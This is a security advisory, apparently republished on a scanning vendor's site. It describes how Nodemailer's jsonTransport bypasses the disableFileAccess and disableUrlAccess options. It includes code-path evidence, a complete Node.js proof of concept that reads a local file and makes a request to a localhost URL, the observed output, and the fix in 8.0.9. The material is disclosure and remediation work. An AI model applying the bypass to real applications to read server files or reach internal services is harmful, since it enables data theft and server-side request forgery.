Nodemailer's disableFileAccess and disableUrlAccess options are intended to prevent message content and attachments from reading local files or fetching URLs. The normal MIME streaming path enforces those options in MimeNode._getStream(). However, jsonTransport serializes messages by calling mail.normalize(), which resolves html, text, alternatives, calendar events, and attachments through shared.resolveContent() before MIME generation. shared.resolveContent() reads local files and fetches HTTP(S) URLs directly, without receiving or checking disableFileAccess or disableUrlAccess.
As a result, applications that use jsonTransport as a safe serializer or queue payload generator while relying on disableFileAccess / disableUrlAccess can still be made to read local files into the generated JSON output or make outbound HTTP requests when an attacker controls message content fields such as attachment path or text.href.
The same missing-enforcement root cause is also reachable before normal streaming when attachDataUrls causes _convertDataImages() to call mail.resolveContent(mail.data, 'html', ...); this should be fixed with the same access-control check.
Source-to-sink evidence:
lib/nodemailer.js:42-45 selects JSONTransport when createTransport({ jsonTransport: true, ... }) is used.lib/mailer/mail-message.js:34-39 copies transport-level disableFileAccess and disableUrlAccess options into mail.data.lib/json-transport/index.js:52-76 serializes mail by calling mail.normalize((err, data) => ...).lib/mailer/mail-message.js:46-135 implements resolveAll() and calls shared.resolveContent(...args, ...) for html, text, watchHtml, amp, icalEvent, alternatives, and attachments.lib/shared/index.js:506-562 implements resolveContent().lib/shared/index.js:540-541 fetches HTTP(S) content with nmfetch(content.path || content.href).lib/shared/index.js:549-550 reads local files with fs.createReadStream(content.path).shared.resolveContent() does not check disableFileAccess or disableUrlAccess and does not receive those flags.Control path showing intended enforcement:
lib/mail-composer/index.js:358-359, lib/mail-composer/index.js:367-368, and sibling child-node creation paths pass disableUrlAccess and disableFileAccess into MimeNode.lib/mime-node/index.js:51-52 stores those flags.lib/mime-node/index.js:984-995 rejects file paths with EFILEACCESS when disableFileAccess is set.lib/mime-node/index.js:998-1009 rejects URLs with EURLACCESS when disableUrlAccess is set.test/mail-composer/mail-composer-test.js:1028-1044 includes a normal MIME-streaming test that expects file access to be blocked when disableFileAccess: true.Additional same-root-cause variant:
lib/mailer/index.js:406-434 implements _convertDataImages() for attachDataUrls.lib/mailer/index.js:407-410 calls mail.resolveContent(mail.data, 'html', ...) when attachDataUrls is enabled and mail.data.html is present.mail.resolveContent() delegates to shared.resolveContent() at lib/mailer/mail-message.js:42-44, an object-form html: { path: ... } or html: { href: ... } can be resolved before the later MIME streaming enforcement sees the content.attachDataUrls to be enabled, so the main reportable default/common path is jsonTransport; both should be fixed by enforcing access flags inside the pre-resolution helper or passing policy into it.Default/common exposure evidence:
jsonTransport is a shipped runtime transport selected by public createTransport options.test/json-transport/json-transport-test.js:9-83 demonstrates that jsonTransport intentionally resolves file-backed html and attachments into JSON output.disableFileAccess and disableUrlAccess are documented by code and tests as security controls and are copied from transport options into message data for all transports.False-positive screening and negative controls:
disableFileAccess: true and disableUrlAccess: true transport options for both jsonTransport and normal streamTransport controls.jsonTransport read the temporary local fixture file and embedded the content in JSON despite disableFileAccess: true.streamTransport with the same attachment and disableFileAccess: true rejected with EFILEACCESS.jsonTransport fetched a local HTTP listener despite disableUrlAccess: true.streamTransport with the same URL and disableUrlAccess: true rejected with EURLACCESS.127.0.0.1 and did not contact external infrastructure.Affected version evidence and uncertainty:
nodemailer 8.0.8 at commit 15138a84c543c20aa399218534cdbbfa2ea1ce55.jsonTransport has existed since commit d78b63b (2017-02-09, "Added test for json transport"), and disableFileAccess appears in historical setup commit 6218b8d (2017-01-31), but older versions were not dynamically tested during this audit.Severity rationale:
path or href triggers the bypass when jsonTransport is used.Final self-review:
127.0.0.1 HTTP listener.streamTransport rejects the same inputs with EFILEACCESS and EURLACCESS.From a clean checkout of nodemailer at commit 15138a84c543c20aa399218534cdbbfa2ea1ce55, run:
node <<'NODE'
'use strict';
const fs = require('fs');
const os = require('os');
const path = require('path');
const http = require('http');
const nodemailer = require('./');
const marker = 'NM_JSON_BYPASS_' + Date.now();
const fixture = path.join(os.tmpdir(), 'nodemailer-json-bypass-' + process.pid + '.txt');
fs.writeFileSync(fixture, marker);
function sendMail(transport, data) {
return new Promise((resolve, reject) => transport.sendMail(data, (err, info) => err ? reject(err) : resolve(info)));
}
(async () => {
const jsonTransport = nodemailer.createTransport({ jsonTransport: true, disableFileAccess: true, disableUrlAccess: true });
const jsonInfo = await sendMail(jsonTransport, {
from: '[email protected]',
to: '[email protected]',
subject: 'json file bypass',
text: 'body',
attachments: [{ filename: 'secret.txt', path: fixture }]
});
const jsonMessage = JSON.parse(jsonInfo.message);
const decoded = Buffer.from(jsonMessage.attachments[0].content, 'base64').toString('utf8');
console.log('JSON_FILE_BYPASS=' + (decoded === marker));
console.log('JSON_FILE_CONTENT=' + decoded);
const streamTransport = nodemailer.createTransport({ streamTransport: true, buffer: true, disableFileAccess: true });
try {
await sendMail(streamTransport, {
from: '[email protected]',
to: '[email protected]',
subject: 'stream control',
text: 'body',
attachments: [{ filename: 'secret.txt', path: fixture }]
});
console.log('STREAM_FILE_CONTROL=NO_ERROR');
} catch (err) {
console.log('STREAM_FILE_CONTROL=' + err.code);
}
const server = http.createServer((req, res) => {
console.log('LOCAL_HTTP_REQUEST=' + req.method + ' ' + req.url);
res.end('LOCAL_HTTP_MARKER');
});
await new Promise(resolve => server.listen(0, '127.0.0.1', resolve));
const url = 'http://127.0.0.1:' + server.address().port + '/private';
const jsonUrlInfo = await sendMail(jsonTransport, {
from: '[email protected]',
to: '[email protected]',
subject: 'json url bypass',
text: { href: url }
});
const jsonUrlMessage = JSON.parse(jsonUrlInfo.message);
console.log('JSON_URL_BYPASS=' + (jsonUrlMessage.text === 'LOCAL_HTTP_MARKER'));
const streamUrlTransport = nodemailer.createTransport({ streamTransport: true, buffer: true, disableUrlAccess: true });
try {
await sendMail(streamUrlTransport, {
from: '[email protected]',
to: '[email protected]',
subject: 'stream url control',
text: { href: url }
});
console.log('STREAM_URL_CONTROL=NO_ERROR');
} catch (err) {
console.log('STREAM_URL_CONTROL=' + err.code);
}
server.close();
fs.unlinkSync(fixture);
})().catch(err => { try { fs.unlinkSync(fixture); } catch (E) {} console.error(err && err.stack || err); process.exit(1); });
NODE
Observed output in this environment:
JSON_FILE_BYPASS=true
JSON_FILE_CONTENT=NM_JSON_BYPASS_1779802076150
STREAM_FILE_CONTROL=EFILEACCESS
LOCAL_HTTP_REQUEST=GET /private
JSON_URL_BYPASS=true
STREAM_URL_CONTROL=EURLACCESS
Expected vulnerable output: JSON_FILE_BYPASS=true, the printed temporary marker in JSON_FILE_CONTENT, a LOCAL_HTTP_REQUEST=GET /private line, and JSON_URL_BYPASS=true. Expected negative/control output: STREAM_FILE_CONTROL=EFILEACCESS and STREAM_URL_CONTROL=EURLACCESS, showing the same policy flags work in the normal streaming transport.
Cleanup: the PoC removes its temporary fixture file before exiting and closes the local HTTP server.
If an application uses jsonTransport to safely serialize or queue partially user-controlled Nodemailer message objects while relying on disableFileAccess / disableUrlAccess, an attacker can bypass those protections. The file-read variant can copy local file contents into the generated JSON message output. The URL-fetch variant can force outbound HTTP requests from the application host to local or internal services despite URL access being disabled. The impact depends on what message fields the embedding application exposes and where it stores or returns the generated JSON, but the local PoC confirms both protected sink operations are reached.
Enforce disableFileAccess and disableUrlAccess inside shared.resolveContent() or pass an explicit policy object into every pre-resolution call and reject protected path / href values before opening files or fetching URLs. Apply the same fix to jsonTransport normalization and the attachDataUrls pre-plugin path. Add regression tests showing jsonTransport returns EFILEACCESS / EURLACCESS for file and URL content when those flags are set, and that attachDataUrls cannot resolve object-form html.path / html.href when the corresponding access flag is disabled.
| Software | From | Fixed in |
|---|---|---|
nodemailer
|
- | 8.0.9 |
A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.
CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.
A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.
Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.
Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.
SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.